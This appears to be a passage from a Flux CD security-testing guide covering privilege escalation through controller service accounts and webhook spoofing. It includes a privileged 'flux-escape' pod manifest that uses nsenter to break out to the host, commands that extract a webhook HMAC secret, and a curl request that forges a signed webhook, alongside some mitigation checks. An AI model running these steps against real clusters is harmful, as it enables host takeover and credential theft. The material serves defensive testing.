Flux CD Security Testing: GitOps Source Controller Credential Exposure, Kustomization Path Traversal, and RBAC Bypass

RBAC Escalation via Controller Service Accounts

# Flux controllers run as service accounts with broad cluster permissions
# If you can create a Kustomization that deploys a malicious manifest,
# the kustomize-controller applies it with its own (often cluster-admin) permissions

# Check kustomize-controller's actual cluster permissions
kubectl get clusterrolebindings -o json | python3 -c "
import json,sys
crbs = json.load(sys.stdin)['items']
for crb in crbs:
    for s in crb.get('subjects',[]):
        if s.get('name','').startswith('kustomize-controller') or \
           s.get('name','').startswith('helm-controller'):
            print(f\"{s['name']} → {crb['roleRef']['name']}\")
"

# Test: deploy a privileged pod via Flux Kustomization
# Create a manifest in a Git repo that creates a privileged pod
cat <<'EOF' > /tmp/exploit-manifest.yaml
apiVersion: v1
kind: Pod
metadata:
  name: flux-escape
  namespace: kube-system  # Applied by kustomize-controller to kube-system
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: escape
    image: alpine
    command: ["/bin/sh", "-c", "nsenter --target 1 --mount --uts --ipc --net /bin/bash"]
    securityContext:
      privileged: true
EOF
# If a developer can push this to their GitRepository path and create a Kustomization,
# kustomize-controller applies it with full cluster access

# Mitigation check: does Flux use workload identity / impersonation?
kubectl get kustomizations --all-namespaces -o json | python3 -c "
import json,sys
kustoms = json.load(sys.stdin)['items']
for k in kustoms:
    sa = k.get('spec',{}).get('serviceAccountName','')
    print(f\"{k['metadata']['name']}: serviceAccount={sa if sa else 'DEFAULT CONTROLLER SA'}\")
" | grep "DEFAULT" | head -10
# Kustomizations without serviceAccountName use the controller's own SA (over-privileged)
# Secure: set serviceAccountName to a least-privilege SA in each target namespace

GitRepository Webhook Spoofing

# Flux supports receiver webhooks to trigger reconciliation on git push events
# A spoofed webhook with the correct HMAC token triggers immediate reconciliation

# Find Flux Receiver resources and their webhook secrets
kubectl get receivers --all-namespaces -o json | python3 -c "
import json,sys
receivers = json.load(sys.stdin)['items']
for r in receivers:
    meta = r['metadata']
    spec = r.get('spec',{})
    secret_ref = spec.get('secretRef',{})
    status = r.get('status',{})
    print(f\"Receiver: {meta['namespace']}/{meta['name']}\")
    print(f\"  Type: {spec.get('type','?')}\")
    print(f\"  Webhook secret: {secret_ref.get('name','?')}\")
    print(f\"  URL: {status.get('webhookPath','?')}\")
"

# Extract webhook HMAC token
kubectl get secret WEBHOOK_SECRET -n flux-system -o json | python3 -c "
import json,sys,base64
s = json.load(sys.stdin)
token = base64.b64decode(s['data']['token']).decode()
print(f'Webhook HMAC token: {token}')
# With this token an attacker can trigger reconciliation on demand
# Triggering reconciliation is low-risk if no malicious content in repo
# BUT: if used with timing attacks against slow git polling, attacker can
# race a malicious commit through before security scanning occurs
"

# Test: send a spoofed webhook to trigger reconciliation
WEBHOOK_TOKEN="stolen-token"
curl -X POST https://FLUX_RECEIVER_URL/hook/sha256-of-path \
  -H "X-Hub-Signature-256: sha256=$(echo -n '{}' | openssl dgst -sha256 -hmac $WEBHOOK_TOKEN | cut -d' ' -f2)" \
  -H "Content-Type: application/json" \
  -d '{}'

Flux CD Security Hardening